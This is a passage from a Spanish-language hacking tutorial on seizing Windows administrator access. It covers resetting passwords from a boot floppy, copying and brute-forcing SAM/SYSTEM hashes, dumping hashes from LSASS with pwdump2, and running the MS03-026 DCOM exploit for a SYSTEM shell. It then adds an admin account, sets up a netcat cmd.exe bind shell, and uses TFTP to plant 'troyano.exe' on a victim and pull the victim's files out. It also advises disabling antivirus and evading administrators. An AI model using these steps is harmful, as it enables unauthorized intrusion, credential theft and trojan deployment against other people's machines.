Como ya se menciono con anterioridad, el CIA Commander lo que hace es crear un diskette de inicio y para poderlo hacer funcionar tendremos que reiniciar la computadora y en lugar de que comience a cargar el sistema operativo desde el disco duro, le tenemos que indicar a la computadora que primero busque un sistema operativo en otras unidades.

¿Cómo hacemos esto?
Primero tendremos que entrar a la BIOS de nuestra computadora, para ello vamos a reiniciar la computadora y poner atención a la primer pantalla que nos aparece en nuestra computadora y presionar la tecla que alli nos indique para entrar a Setup, generalmente esa tecla es la tecla Suprimir, F2 o F10, todo depende de la tarjeta madre que tengamos instalada.

Si presionamos la tecla correcta nos debera de abrir una pantalla de este tipo:



Una vez alli, en mi caso me desplazo hasta la pestaña BOOT, y alli modifico la prioridad con que se arrancara mi computadora para primero lo haga desde las unidades extraíbles o desde el floppy, con lo cual quedaria algo asi:


Ahora solo es cuestion de Guardar los cambios y salir.

Si tu BIOS no es parecida a esta, no te preocupes, todas las BIOS tienen la opcion de modificar la prioridad de arranque, generalmente se encuentra en la parte de Opciones avanzadas, y alli solo es cuestion de buscar una opcion que mencione, Priority Boot o First Boot, para después modificarla y dejar en primer lugar la opcion que diga Floppy o A:.

Ahora si no debera de haber ningun problema al arrancar nuestra computadora y debera de iniciar el programa del CIA Commander con la siguiente pantalla, la cual nos pregunta en que partición se encuentra nuestro Sistema Operativo:



En mi caso no hay ningun problema y solo me muestra una sola partición a lo cual presiono Enter, si te aparecen varias opciones en esta pantalla solo recuerda que generalmente la primer partición es la que se le asigna a nuestro sistema operativo y las demas comúnmente son utilizadas para guardar nuestros archivos o instalar otros sistemas operativos.

La siguiente ventana que nos aparecera nos mostrara un cuadro como el siguiente, en el cual eligiremos la opcion de User Manager:



Una vez elegida dicha opcion nos aparecera la siguiente ventana:



Como pueden observar lo que ahora nos pide es que seleccionemos el directorio el cual utiliza nuestro sistema operativo, asi de que ya saben que tienen que seleccionar el que diga WINDOWS o WINNT y presionar la tecla de espacio.

Si seleccionamos el directorio correcto nos debera de aparecer lo siguiente:



En la parte superior izquierda nos muestra la lista de usuarios que tiene nuestro sistema operativo, al momento de que seleccionemos a cada usuario (solo es cuestion de seleccionarlo con las teclas de direccion y presionar enter) en el cuadro verde nos indicara si tiene algun password (contraseña) que lo este protegiendo.

Y ahora ¿Cómo le quitamos la contraseña?
Si fueron observadores abran notado que en la parte inferior, para ser exactos en esta sección:



Cada una de estas opciones con numeros en realidad se refieren a las teclas F1, F2, F3... F10.
Y como veran la tercer opcion que dice Chg Pwd, se refiere a cambiar la contraseña del administrador asi de que solo basta con que presionemos la tecla F3 y lo siguiente que nos preguntara sera la nueva contraseña que queramos ponerle, una vez cambiada presionamos F10 para salir de esas opciones y volver a nuestro menú principal y si ya no se nos olvido nada entonces elegimos reboot y sacamos nuestro diskette para que al reiniciar ya no volvamos a entrar con el CIA Commander.

Quizas en este punto ya muchos de ustedes sabran quitar la contraseña de cualquier usuario pero esto tambien tiene sus desventajas, ya que si nosotros somos los únicos usuarios de un determinado equipo y el administrador de nuestra red se da cuenta de que su contraseña a sido eliminada lo mas seguro es que nos metamos en graves problemas, por lo tanto yo recomiendo que en lugar de remover la contraseña del administrador lo mejor sera que la Obtengamos, para ello vamos a utilizar un segundo metodo con el CIA Commander y otra herramienta adicional.




Obtener la contraseña del administrador con CIA Commander y SamInside

En este punto voy a volver a repetir lo que dije unas hojas mas arriba, por que casi estoy seguro que la mayoria no esta leyendo completo este escrito:

CitarComo ya sabemos el archivo SAM ubicado en C:\Windows\system32\Config es el encargado de almacenar las contraseñas de nuestros usuarios, pero resulta de que Microsoft quiso hacernos la vida un poco mas difícil y creo una utilidad llamada syskey, la cual brinda proteccion extra a nuestras contraseñas.
Una forma de habilitar esta proteccion es presionando inicio – ejecutar – y tecleando "syskey", de esta forma nos aparecera una ventana para activar dicha opcion.
Si nuestro equipo tiene habilitada dicha opcion, para poder sacar la contraseña del administrador no nos bastara con solo sacar el archivo SAM sino que tambien tendremos que obtener el archivo system ubicado en la misma carpeta, en caso de no estar esta proteccion habilitada solo necesitaremos el archivo SAM y podemos utilizar casi cualquier crackeador como por ejemplo Cain o L0phtCrack.

Para nuestro fin necesitamos seguir todos los pasos mencionados con anterioridad solo que en lugar de elegir la opcion User Manager, esta vez utilizaremos la opcion de File Manager.
Ahora nos aparecera la siguiente ventana (para desplazarnos entre ambas ventanas presionamos la tecla TAB y para desplazarnos entre las carpetas basta con que presionemos enter en cada una de ellas):



Lo que aquí nos interesa es sacar el archivo SAM ubicado en:
C:\Windows\System32\Config
Asi de que ya sabemos hasta donde tenemos que ir, una vez alli lo que haremos sera seleccionar el archivo SAM y presionar F5, de este modo nos pedira la ubicación de destino, por defecto esta la unidad A:, solo que si queremos tanto el archivo SAM y system yo recomiendo primero copiarlos a otro lugar por ejemplo C: y después de eso entrar a Windows y sacarlos grabandolos en disco o con una memory flash, por el hecho de que el archivo system tiene un tamaño superior a 3 megas y dudo que encuentren un diskette que tenga dicha capacidad a menos que lo compriman (hay que tomar en cuenta que algunas opciones del CIA Commander solo estan funcionables en la version de paga).

Ahora que tenemos ambos archivos en nuestro poder vamos a abrir el programa SamInside que por cierto "no requiere instalacion" asi de que lo podremos hacer con nuestra fabulosa cuenta de usuario restringido.

Una vez ejecutado SamInside nos mostrara una ventana de este tipo:


Ahora damos un clic en la parte que esta encerrada en circulo rojo y seleccionamos la opcion "Import from SAM and SYSTEM files...", ahora tenemos que buscar los archivos de donde los hayamos copiado, si seleccionamos primero el archivo SAM y las contraseñas estan protegidas con syskey lo mas seguro es que a continuación nos pida el archivo system, en mi caso existia un usuario llamado Particular con una contraseña bastante facil de crackear y por ello automáticamente me saco la contraseña:



De aquí tambien podemos observar que el administrador tiene una contraseña de 10 cifras, espero y no sea algo difícil por que en caso de serlo esto nos va a llevar bastante tiempo.
Como nada mas me interesa la contraseña del administrador, sera este el unico que dejare seleccionado. Para ver las opciones de crackeo daremos un clic a la flecha encerrada de color azul y después seleccionaremos las que mas sean de nuestro agrado, en mi caso lo hare por fuerza bruta (lo que hace es ir generando palabras hasta dar con la correcta), es un metodo bastante mas lento pero a su vez mas efectivo.
Presionamos F5 y es momento de esperar los resultados:



Como podran observar la contraseña estaba conformada solo por letras de alli que no tardara tanto en obtenerla.


CONTRAMEDIDAS PARA ESTE METODO

Pues como observaron en este ejemplo, el metodo de obtener la contraseña de esta forma es bastante efectiva, solo que como todo esto tambien tiene sus limitaciones, ademas de lo tardado que podria ser sacar una contraseña bastante larga tampoco les podra funcionar este metodo si la partición de su Windows esta sobre un sistema de archivos FAT32 en lugar de NTFS.





NTFSDOS

Esta es otra gran herramienta que nos ayuda a reparar daños en nuestro sistema operativo, por ejemplo cuando se han corrompido archivos primordiales de nuestro sistema o tambien puede ser utilizado para rescatar información primordial en caso de que nuestro sistema operativo ya no arranque correctamente.
Al igual que el CIA Commander, tambien es 100% funcionable sobre sistemas XP,2000,NT y 2003.
La forma en que funciona es sencilla, primero tenemos que arrancar nuestra computadora con cualquier disco de inicio de msdos (preferentemente arriba de la version 5.0) y después utilizar el disco de NTFSDOS para montar nuestra partición NTFS para poder escribir sobre ella sin ningun problema.
Muchos de ustedes ya abran notado mas de alguna vez que si tienen en una misma computadora dos sistemas operativos, por ejemplo Windows 98 y ademas Windows XP, sabran que Windows 98 no nos detecta la partición en la que se ubica nuestro Windows XP, y en el caso de entrar a XP, este ultimo no tiene ningun problema para acceder a nuestro segundo sistema operativo.
De forma sencilla NTFSDOS nos permite acceder desde msdos a particiones NTFS en manera total y sin restricción alguna.

Muy bien, muy bien, ahora si ya sabemos como funciona asi de que es momento de ponernos manos a la obra.

Lo pueden descrgar directamente desde aquí:
http://www.sysinternals.com/Files/NtfsDos.zip

Si no funciona el link, recuerden que siempre esta google para asistirnos en nuestra ayuda.
Una vez descargado pasamos los archivos a nuestro diskette y listo.

Primero tenemos que arrancar nuestra computadora con un disco de inicio de msdos, pueden utilizar tambien un disco de inicio de Windows 98.

Una vez hayamos reiniciado nuestra computadora y nos haya dejado en el promp (A:\>), es entonces cuando insertamos nuestro segundo diskette con la utilidad y ejecutamos NTFSDOS asi una vez montada la partición solo es cosa de copiar y pegar los archivos.


CONTRAMEDIDAS PARA ESTE METODO

Como pueden comprobar la unica contramedida a este metodo es teniendo una contraseña lo bastante compleja como para ser crackeada rapidamente, de esta forma lo mas seguro es que el atacante termine desesperándose y prefiera buscar otro metodo.

PWDUMP2

Esta es la version mas reciente de pwdump, hecha por Todd Sabin y a diferencia de su antecesor esta herramienta es capaz de burlar el cifrado syskey.

La forma en que lo hace es muy simple, básicamente utiliza una tecnica llamada inyeccion DLL para cargar su propio codigo en un proceso que sea lo suficientemente privilegiado (en este caso utiliza LSASS) para realizar una llamada API interna que logre acceder a las contraseñas cifradas por syskey, sin necesidad de descifrarlas.

Su forma de uso es muy sencilla, solo basta con que ejecutemos:

C:\> pwdump2 PID_LSASS >> pass.txt

De esta forma nos almacenara los hashes de todos los usuarios en un archive de texto llamado pass.txt.
Pero... ¿Qué es eso de PID_LSASS?
El PID no es otra cosa que un simple identificador de proceso, para saber cual es en nuestra computadora, pueden hacerlo de varias formas:
- Abrir el adminisrador de tareas (Ctrl – ALT - SUPR), de alli desplazarse hasta Ver > Seleccionar columnas. Y seleccionar "Identificador de proceso (PID)".
- Entrar a Inicio > ejecutar > cmd > y teclear tasklist. De esta forma les mostrara todos los procesos de su CPU con su respectivo PID en la parte izquierda.


Ahora que ya sabemos el PID del proceso solo basta con que ejecutemos (esto es en mi caso):

C:\> pwdump2 772 >> pass.txt

Y listo ya tenemos los hashes de todos los usuarios de nuestra computadora, si observamos el archivo de texto pass.txt ubicado en la misma carpeta de pwdump2 podremos darnos cuenta de que los coloca de una forma muy parecida al archivo /etc/passwd que almacena las contraseñas en GNU/Linux.



Ahora ha llegado el momento de crackearlos, para esto pueden utilizar varias herramientas como por ejemplo saminside, L0phtCrack, LC4, LC5 (esta es la version mas reciente de L0phtCrack), etc.

En mi caso lo voy a hacer con LC4 que es el que tengo instalado, al momento de abrirlo se nos presenta un pequeño asistente (como no me gustan a mi prefiero cerrarlo), ya una vez dentro lo que haremos sera iniciar una sesion (File > New session...), ahora tenemos que importar nuestro archivo de texto mediante el menú import > import from PWDUMP file...

Muy bien ahora que ya esta cargado lo que haremos sera modificar la forma en la que realizaremos crackeo mediante Session > Session options, alli se nos mostrara una ventana de este tipo:



Como veran existen 3 metodos: Dictionary Crack, Dictionary/Brute Irbid Crack y Brute Force Crack.
El primer metodo lo que hara sera ir comparando los hashes de las palabras que contengamos en nuestro diccionario hasta dar conla correcta (si buscan un poco por google encontraran muy buenos diccionarios de palabras, me ha tocado ver de hasta 40 megas).
La segunda seria una mezcla del diccionario con bruta fuerza ya que agrega a las palabras de nuestro diccionario una o mas letras adicionales tipo jose12.
El tercero ya conocido por todos ustedes lo que hace es ir generando palabras hasta dar con la correcta con todos los caracteres que nosotros le indiquemos.

Entonces seleccionamos a nuestro gusto y presionamos OK.
Para comenzar el ataque basta con que presionemos F4 y dependiendo de la complejidad de la contraseña sera el tiempo que tardara en obtenerla, si no alcanzamos a sacarla y no queremos perder lo que llevamos de avanzado basta con que guardemos la sesion para su uso posterior.


CONTRAMEDIDAS PARA ESTE METODO

Pues si esto se escucho bastante sencillo, es por que uno de los requisitos para poder utilizar pwdump2 es tener privilegios de administrador, en pocas palabras si estan en una cuenta limitada no lo podran utilizar correctamente.
El unico uso que yo le he dado es por ejemplo cuando ya soy administrador en un equipo que tiene varios usuarios, lo utilizo para sacar sus contraseñas sin necesidad de borrarselas para asi evitar posibles sospechas.


PWDUMPX
Cabe decir que no solamente existe pwdump2 sino que tambien existe pwdump3 y pwdump4, pero siguen teniendo la misma limitante la cual consiste en tener privilegios de administrador en el equipo que se desee atacar por lo tanto creo que es mejor seguir avanzando con otros metodos.
Con esto no quiero decir que pwdump no sirva y que nunca lo deban de usar, pero al menos en mi caso tengo otros metodos que me gustan mas.



UTILIZANDO EXPLOITS

Explicar el completo funcionamiento de los exploits y como es que actuan en realidad nos llevaria bastantes paginas (mejor dicho un libro completo o mas), si les interesa aprender sobre ellos mas a fondo visiten el siguiente enlace seguro les gustara leer todo lo que alli se encuentra:
http://foro.elhacker.net/index.php/board,32.0.html

Este uno de los metodos que mas frecuentemente utilizo y quizas de los que menos se escucha hablar al menos para los fines que en estos momentos estamos buscando.

La forma de uso es bastante sencilla, lo unico que tenemos que hacer es buscar vulnerabilidades de forma local para después buscar un exploit que nos de shell al explotar la vulnerabilidad.
Nota: Cabe decir que no todos los exploits nos daran shell sino que tambien pueden provocar una caida del sistema y en este caso no queremos que esto ocurra(esto se como se conoce como DOS).

Una forma de averiguar si es vulnerable es utilizando un escaner de vulnerabilidades, pero como no siempre podemos instalar programas para hacernos una autoprueba ocuparemso de la ayuda de scaners que no requieran instalacion, para ello es bueno que visitemos a menudo la pagina del grupo eeye los cuales muchas de las veces sacan un escaner que te dice si un equipo es vulnerable a un bug en especifico.
www.eeye.com

Otra forma bastante sencilla de saber cuales parches tiene instalado nuestro sistema operativo es desplazandonos hasta la opcion de "agregar o quitar programas" dentro del "panel de control". Alli nos mostrara todas las actualizaciones que hayan sido instaladas.
Quizas muchos digan, "yo nunca he instalado una sola actualizacion, ¿entonces puedo utilizar cualquier exploit?"
La respuesta es no, ya que muchas veces si se formatea una computadora no quiere decir que no tenga ningun parche instalado, recuerden que se pueden crear discos de instalacion de XP con varios Service Pack incluidos (un Service Pack seria un mega parche que incluye bastantes actualizaciones que te protegen de amenazas de este tipo, Ah! y como olvidarlo, tambien te hacen tu computadora mas lenta y te quitan espacio del disco duro).

Otra forma de ver hasta que Service Pack tenemos instalado en nuestra computadora es dando clic derecho sobre de Mi PC y después en propiedades, asi nos mostrara una ventana de este tipo:



En mi caso no tengo ningun Service Pack instalado, si lo tuviera me aparecerian unas letras indicandolo justo en el lugar donde esta el circulo rojo, y como ya revise en "agregar o quitar programas" de que tampoco tuviese ninguna actualizacion proceso a utilizar el primer exploit que se me venga a la mente y que ademas me de una shell, en este caso utilizare el exploit que ataca la vulnerabilidad MS03-026, para mayor información de dicho fallo lean el siguiente enlace:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS03-026.asp
No sean lammers y visiten el link, no es tan difícil leer lo que alli dice ademas asi sabremos lo que en realidad estamos apunto de hacer.

Ya que sabemos algo de la vulnerabilidad procedemos a descargarnos el exploit de aquí:
http://cyruxnet.com.ar/rpcxploit2.htm
y tambien necesitaremos el netcat para que de una vez se lo vayan descargando (la version para Windows es solamente un ejecutable con el nombre nc.exe).

Aquí no voy a explicar como se compila un exploit ya que ese no es el objetivo de este caso y ademas este exploit es muy facil encontrarlo ya compilado.

Otra pagina en la cual pueden encontrar una basta cantidad de exploits es la siguiente:
http://www.securityfocus.com/

NOTA: Muchos antivirus te detectaran este tipo de archivos como virus, pero en realidad no lo son asi de que yo recomiendo desactiven el antivirus antes de descargarselo por que lo mas seguro es que se los deje inservible.

La forma en la que se ejecuta es la siguiente:
Inicio – ejecutar – cmd y una vez alli nos desplazamos hasta la carpeta en la que tenemos guardado nuestro ejecutable del exploit.
Para ver las opciones de dicho exploit solo basta con ejecutarlo, en mi caso me muestra las siguientes opciones(yo ejecuto dcom por que asi esta nombrado el exe de mi exploit el cual esta dentro de la carpeta tool):

C:\>cd tool

C:\tool>dcom
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM <hdm [at] metasploit.com>
- Ported to Win32 by Benjamin LauziÞre <blauziere [at] altern.org>
- Universalized for kiddie extravaganza by da barabas
- Usage: dcom <Target ID> <Target IP>
- Targets:
- 0 Windows 2000
- 1 Windows XP


C:\tool>


Como podran observar alli mismo me dice como utilizarlo correctamente, solo es cosa de poner:

- Usage: dcom <Target ID> <Target IP>

Donde target se refiere al sistema operativo y la ip valgase repetirlo, seria nuestra ip, aunque cabe decir que la forma de decir que lo ejecute en nuestra propia maquina seria poniendo 127.0.0.1 que es la ip de localhost, asi de que ya saben como ejecutarlo, si tienen un Windows 2000 seria 0 y si es XP 1, en mi caso es XP asi de que ejecuto:
C:\tool\dcom 1 127.0.0.1



Como podran observar se ejecuto sin ningun problema, ahora es es cosa de conectarno con el netcat al puerto 4444.

Para usar el netcat de forma que se conecte a dicho puerto solo es cuestion de ejecutar:
nc ip puerto

en caso de que quieran que les muestre mas información de la necesaria basta con agregar –vv, ahora solo tenemos que desplazarnos hasta la carpeta que contenga nuestro ejecutable de netcat, en mi caso lo tengo en la misma carpeta del exploit asi de que ejecuto el comando "nc –vv 127.0.0.1 4444"


y wala!!!!
Ya estamos conectados a nuestro propio equipo pero no como un usuario restringido sino que estamos conectados con privilegios del usuario system el cual tiene muchos mas derechos sobre el equipo que el mismo administrador, seria como decir que es el usuario maquina de nuestra computadora al cual nuestro administrador le pide permiso para realizar acciones.

¿Cómo se que después de ejecutar el exploit me dio permisos de system y no de un usuario normal?
Sencillo, como habran notado justo después de haber ejecutado el netcat para que me conectara al puerto indicado ya no me encontraba dentro de la carpeta tool en la cual ejecute el netcat sino que automáticamente me puso dentro de la carpeta system32 (observen la imagen detenidamente):



Esto es por que me dio permisos de system, si me hubiera dado permisos de un usuario normal me hubiera dejado dentro del escritorio del usuario que estaba usando la maquina es ese momento.

Nota: La mayoria de los exploit que atacan a xp y nos dan shell remota siempre nos dan permisos de system, que es mucho mejor que tener permisos de administrador.

Lo demas ya es cosa sencilla solo tenemos que crear un nuevo usuario y agregarlo al grupo de administradores(crear el usuario lo digo por si es que estamos dentro de la cuenta de invitado).
Para agregar un usuario llamdo zhyzura con contraseña kaka seria:
net user zhyzura kaka /add

Para agregar el usuario zhyzura al grupo de administradores seria:
net localgroup administradores zhyzura /add

Como podran observar nunca me denego el acceso a estas acciones, gracias a que estamos en la todo poderosa cuenta de system.
Ya que tenemos nuestro nuevo usuario dentro del grupo administradores solo es cuestion de volver a iniciar sesion para que los cambios surtan efecto.

OJO!!!!!!!!!!!!!!!
Al momento de que cierren la ventana en la cual estamos conectados como system les va a aparecer la siguiente ventana:



¿Recuerdan esa ventana? ¿alguna vez estuvieron infectados por el virus llamado BLASTER?
Si lo estuvieron entonces recordaran esta ventana la cual siempre les aparecia cuando se conectaban a Internet y después de un minuto les reiniciaba la computadora.
El motivo por el cual les ha aparecido es por que al momento de que ejecutamos el exploit lo que hizo fue atacar un servicio de Windows el cual tenia privilegios de system y al momento de cerrar esa ventana lo que hicimos fue que dicho servicio creara un crash en un proceso primordial de Windows sin el cual se ve obligado a reiniciar.
Hay dos formas de solucionar esto.
La primera es quedarnos de brazos cruzados al momento de que nos aparezca por que ya no podremos evitarlo xD.
La segunda es:
Antes de que vayamos a cerrar la ventana primero ponemos el netcat a la escucha con el comando:

nc -l -d -e cmd.exe -p 6000

y antes de cerrar la ventana primero abrimos otra y nos conectamos nuevamente pero ahora sera al puerto 6000:

nc -vv 127.0.0.1 6000

Ya que hicimos esto, ahora si ya podemos cerrar ambas ventanas y asi podremos reiniciar comodamente sin que nos aparezca dicha ventana.

Gracias Mek por este dato ;)



CONTRAMEDIDAS PARA ESTE METODO

Es sencillo saber que para que este metodo no sea 100% funcionable basta con que nuestro administrador descargue todas las actualizaciones de Windows y mantenga sus equipos al dia.




UTILIZANDO UN LIVE-CD

Un Live Cd es un sistema operativo que se ejecuta directamente desde un cd-rom de tal forma que no es necesario instalarlo en el disco duro para que funcione.
..sR. aDiKtO..
Citar¿Cómo se consigue eso? pues detectando el hardware del PC cada vez que se arranca con el CD de la distribución y usando la memoria RAM para leer y guardar datos. Muchas permiten usar una parte del disco duro como partición de intercambio y guardar la configuración en un floppy o llavero USB.

Existen bastantes live cd como para decirles cual es el que deban de utilizar, asi de que seleccionen el que mas les guste y a trabajar se ha dicho ademas de que sera un muy buen comienzo para aquellos que no conozcan nada sobre el mundo *NIX.

En mi caso voy a utilizar "Auditor Security Collection", el cual es un live-cd especializado en herramientas de seguridad, claro que no es necesario que busquen un live cd de este tipo pero en mi caso es el unico que tengo a la mano.

Primero lo tenemos que introducir en nuestra unidad de cd-rom y reiniciar el equipo, recuerden que tienen que configurar su BIOS para que arranque primero desde el cd-rom antes que el disco duro.

Al momento de que comienza a arrancar nos aparecera una pantalla en la cual dice BOOT: Alli tenemos que colocar la letra de la resolucion que queramos utilizar, en mi caso coloco un 2, después de eso solo es cuestion de esperar a que cargue el entorno grafico.
Dependiendo del live-cd que tengamos en mano seran las preguntas que nos hara, va a ver casos en los cuales tambien nos pedira el tipo de teclado que tenemos asi como tambien nos pedira la tarjeta grafica que tenemos, y es aquí donde muchos van a decirme que no pueden arrancar el entorno grafico y solo los deja en la shell (en la pantalla negra xD), si tienen ese mismo problema, recuerden que al momento de poner la tarjeta grafica que tienen, seleccionen VESA, asi no tendran ningun problema.

Muy bien ahora que estamos dentro de nuestro GNU/Linux lo que tenemos que hacer es copiar los archivos SAM y SYSTEM, para ello vamos a dar clic en el icono siguiente para que se habra nuestro explorador (o tambien pueden presionar Alt+F2 y escribir konqueror):



Ahora en la ventana que nos a aparecido tenemos que dar un clic en el siguiente icono para que nos muestre los dispositivos de nuestra computadora:


Como podran observar en mi caso me muestra varias particiones:
hda1, hda2 y hda3.

Para saber en que partición tenemos instalado nuestro Windows solo es cuestion de saber en que partición esta instalado nuestro Windows para asi entrar y copiar tranquilamente los archivos SAM y SYSTEM.
Para el que no lo sepa, las particiones en GNU/Linux se identifican de la siguiente forma:
hdaX = hda se refiere al disco duro que se encuentra como maestro del primer cable IDE de nuestra computadora y la X se rfiere al numero de partición que tiene dicho disco duro.
hdbX = hdb se refiere al disco duro que se encuentra como esclavo del primer cable IDE y la X se refiere al numero de partición de dicho disco duro.

Ahora muchos me diran, ya se como copiar los archivos pero ahora ¿Cómo los saco con mi memoria flash o floppy si mi computadora no tiene acceso a internet?
Cabe decir que no todas las distribuciones de Linux te detectan las memorias flash de modo que solo conectes y ya puedas copiar archivos sino que nosotros tenemos que montarla antes de poder usarla, para ello vamos a abrir la consola, dando clic en el siguiente icono:



Una vez alli solo tenemos que crear una carpeta en la cual montaremos nuestra memoria flash de la siguiente forma:
mkdir /flash
después solo es cuestion de montar nuestra memoria con el siguiente comando:
mount /dev/sda1 /flash

y ahora si solo es cosas de copiar los archivos alli.
Recuerden que sda se refiere al dispositivo en este caso mi flash y el 1 se refiere a la partición, me ha tocado ver casos en los cuales para montar una memoria flash solo debo de poner sda sin ningun numero.

En caso de que sea un diskette solo tenemos que cambiar sda1 por fd0 y listo.
Ahora si ya estan listos para crackear los dos archivos y ya de paso dieron sus primeros pasos en GNU/Linux.

El proceso de crackear el archivo sam creo que ya se explico bastantes veces en este manual asi de que ya saben donde leer :).


CONTRAMEDIDAS PARA ESTE METODO

Pues si bien este metodo es bastante sencillo una forma de hacerles la vida imposible a los chicos listos lo mejor es ponerle un password a la bios asi como tambien es bueno tener contraseñas extremadamente complejas, recuerden poner numeros junto con letras tanto mayusculas como minusculas y si les es posible pongan alguno que otro carácter en codigo ASCII.


OBTENER LAS CONTRASEÑAS DE FORMA REMOTA

Aquí es donde la cosa se torna un poco mas interesante, por que podremos obtener la contraseña del administrador de un equipo sin necesidad de que tengamos que estar frente al equipo.

Para lograrlo lo que se necesitara sera colocar un sniffer que este interceptando todo el trafico que pasa por nuestra red de tal forma que tambien podra obtener las hashes de la contraseña del administrador con el simple hecho de entrar a una carpeta que estemos compartiendo en nuestro equipo.

En este caso tendran que leer un manual escrito por mi compañero Gospel que lo explica detalladamente asi de que si alguien no entiende completamente los pasos que se explican alli lo mas seguro es que se deba a que nunca leyo la primer parte de este manual.

Aquí esta el link de descarga:
http://personal.telefonica.terra.es/web/alexb/manus/Practica.2.Sniffar.Password.Windows.byGospel.zip

zhyzura

SUBIR ARCHIVOS A UNA VICTIMA POR TFTP

Este es un tema que se repite hasta el cansancio en casi cualquier foro que de hacking se refiera, asi de voy a explicar como subir archivos a una victima nuestra por medio de TFTP, claro que tambien se puede hacer por medio de ftp pero esa es otra historia, ademas como TFTP no requiere autentificación sera mas rapido trabajar con el.

CONFIGURANDO EL SERVIDOR TFTP EN NUESTRO PROPIO ORDENADOR

La mejor forma de hacer que esto funcione es colocando el servidor TFTP en nuestro propio equipo, para ello yo voy a utilizar un servidor TFTP llamado "SolarWinds TFTP Server", si quieren utilizar este mismo ustedes pueden descargarselo de su pagina oficial:
www.solarwinds.net

En la instalacion no existe ninguna opcion novedosa asi de que basta con dar siepre en boton siguiente.

Una vez instalado procedemos a configurarlo, para ello primero lo ejecutamos desde el menú inicio, si por alguna razon les aparece esta ventana del firewall de Windows:



Solo es cuestion de presionar desbloquear para ya no nos este dando dando lata todo el tiempo.

Una vez abierto nos aparecera la siguiente ventana:



Como podran observar, la carpeta ubicada dentro de C:\TFTP-Root es la carpeta que contendra los archivos tanto que le vamos a subir a la victima como que tambien le vamos a bajar a ella.

Nos Desplazamos hasta File – Configure y en la ventana que se nos abrira damos clic en la pestaña de Security, lo que nos dice dicha pestaña es la forma en la que va a trabajar nuestro servidor de TFTP y como lo vamos a utilizar tanto para descargar como para subir archivos vamos a seleccionar la ultima opcion que dice "Transmit and Receive files" y damos clic en OK.

Ahora si ya tenemos todo lo necesario para poder transmitir y recibir archivos de nuestra victima (recuerden no cerrar esta ventana por que si lo hacen cerraran el servidor tftp).

Claro que para poder subirle o bajarle algun archivo primero tenemos que haber obtenido una shell remota de nuestra victima, en estos momentos no voy a explicar como hacerlo debido a que es mejor que aprendan primero a usar TFTP antes de ponerse a andar entrando a cualquier computadora como si fueran niños con juguete nuevo.

SUBIR UN ARCHIVO

Antes de continuar y asi evitar posibles confusiones con las ips vamos a utilizar las siguientes:
Equipo atacante: 192.168.1.2 ---- Esta ip es la de nosotros
Equipo victima: 192.168.1.3

Para poder subir un archivo a nuestra victima, primero tenemos que colocar dentro de la carpeta TFTP-Root de nuestro equipo el archivo que le queramos subir y después de ello solo nos basta con teclear desde la shell remota:
C:\tftp –i 192.168.1.2 get troyano.exe c:\Windows\system32

Con este commando lo que hacemos es obtener el archivo troyano.exe de nuestra carpeta TFTP-Root y lo colocamos en la carpeta system32 del equipo victima.


BAJARLE UN ARCHIVO A NUESTRA VICTIMA

Esta vez no nos vamos a conformar con solo subirle archivos a la victima sino que tambien le vamos a bajar algunos archivos de el en los cules nosotros estemos interesados (que tal y tiene escondidos unos buenos discos de musica por alli que nosotros nunca hemos podido encontrar xD).

Suponiendo que nuestra victima tenga un archivos llamado pista1.mp3 dentro de la carpeta C:\music tendriamos que teclear desde la shell:
tftp –i 192.168.1.2 put c:\music\pista1.mp3 pista1.mp3

de esta forma solo es cuestion de esperar a que termine la transferencia y ya tendremos el archivo dentro de la carpeta de nuestro servidor lista para ser utilzada por nosotros.

Ahora si ya sabemos como utilizar nuestro servidor TFTP con éxito para subirle y bajarle archivos a nuestra victima pero no todo en la vida es asi de sencillo, si son observadores abran notado que en mis ejemplos utilice dos IP's Privadas, debido a que estoy dentro de una red y ambos equipos lo estan no tuve ningun problema para pasar archivos de un host a otro.

De igual forma si nosotros estamos conectados directamente a Internet y nuestra victima tambien lo esta, basta con que observemos la ip que nos da el comando ipconfig y esa sera la IP que usaremos, hasta aquí no tenemos ningun inconveniente.

Pero ¿Qué pasa si nosotros estamos conectados a Internet por medio de una red?
Lógicamente no podremos realizar estos comandos con éxito por que la ip que tenemos en estos momentos es inaccesible desde Internet, y el servidor TFTP debe de estar con contacto directo a Internet asi de que si tenemos un router delante de nosotros para podernos conectar a Internet lamento decirles que no podemos hacer nada al respecto y nos perderemos de toda esta diversión...

Nah!!! Solo estaba bromeando, un router no es cosa difícil para nosotros y vamos a solucionarlo realizando un proceso que se llama Mapear puertos en el router.


zhyzura

MAPEAR PUERTOS EN UN ROUTER
[/size]

INTRODUCCION

Si son aficionados a utilizar troyanos y programas que requieran conexiones remotas, seguro abran oido escuchar de este termino, el proceso en teoria es bastante sencillo, continuando con el ejemplo del tema pasado procedere a explicar este otro.

Nosotros estamos conectados a Internet por medio de un router y por lo tanto no tenemos una IP Publica que es la que necesitamos para poder subirle archivos a nuestra victima, asi de que lo que vamos a hacer sera utilizar la IP de nuestro router el cual si esta conectado directamente a Internet y por lo tanto si tiene una IP publica la cual nos va a servir para nuestros objetivos, ¿Cómo lo haremos? Sencillo, lo unico que tenemos que hacer es redireccionar el puerto que necesitamos en el router a nuestra ip.
¿Cómo es esto? Resulta de que si nuestra victima se va a conectar a nosotros en el puerto 69 UDP (que en este caso es el de nuestro servidor TFTP) tendremos que configurar el router de forma que si alguna computadora le hace una petición en ese puerto, en lugar de contestarle, lo que hara sera mandar esa misma petición a nuestra computadora para que nosotros la respondamos como es debido.

Si alguna vez han utilizado emule y siempre les baja archivos lentamente, o si quieren conectarse a la computadora de su oficina desde su casa pero resulta de que su oficina esta detrás de un router, saber como se realiza este proceso es esencial.

Para que esto quede mas claro, cabe decir que todos los router son muy parecidos en funcionamiento, solo que al momento de configurarlos puede que no encontremos las opciones correctas y es alli donde nos damos por vencidos, por lo tanto voy a realizar esta configuración en los routers que tengo a la mano.


ROUTER AIRLINK MODEL NO. ASOHO4P-M

Antes de continuar lo primero que debemos de hacer es averiguar la ip que tiene nuestro router para asi poder entrar, saber su ip es facil solo tenemos que ver cual es la puerta predeterminada de nuestra computadora y esa sera la que utilizaremos para entrar a nuestro router:



Como podran observar, la IP privada de nuestro router es 192.168.1.1, asi de que procedemos a entrar a configurarlo, para ello abrimos nuestro navegador y tecleamos la direccion de nuestro router de la siguiente forma:
http://192.168.1.1
justo después de hacerlo se nos abrira una ventana que nos pide una contraseña, lógicamente la contraseña por defecto es no poner nada asi de que entro sin ningun problema :P.

Ahora nos aparecen dos opciones:
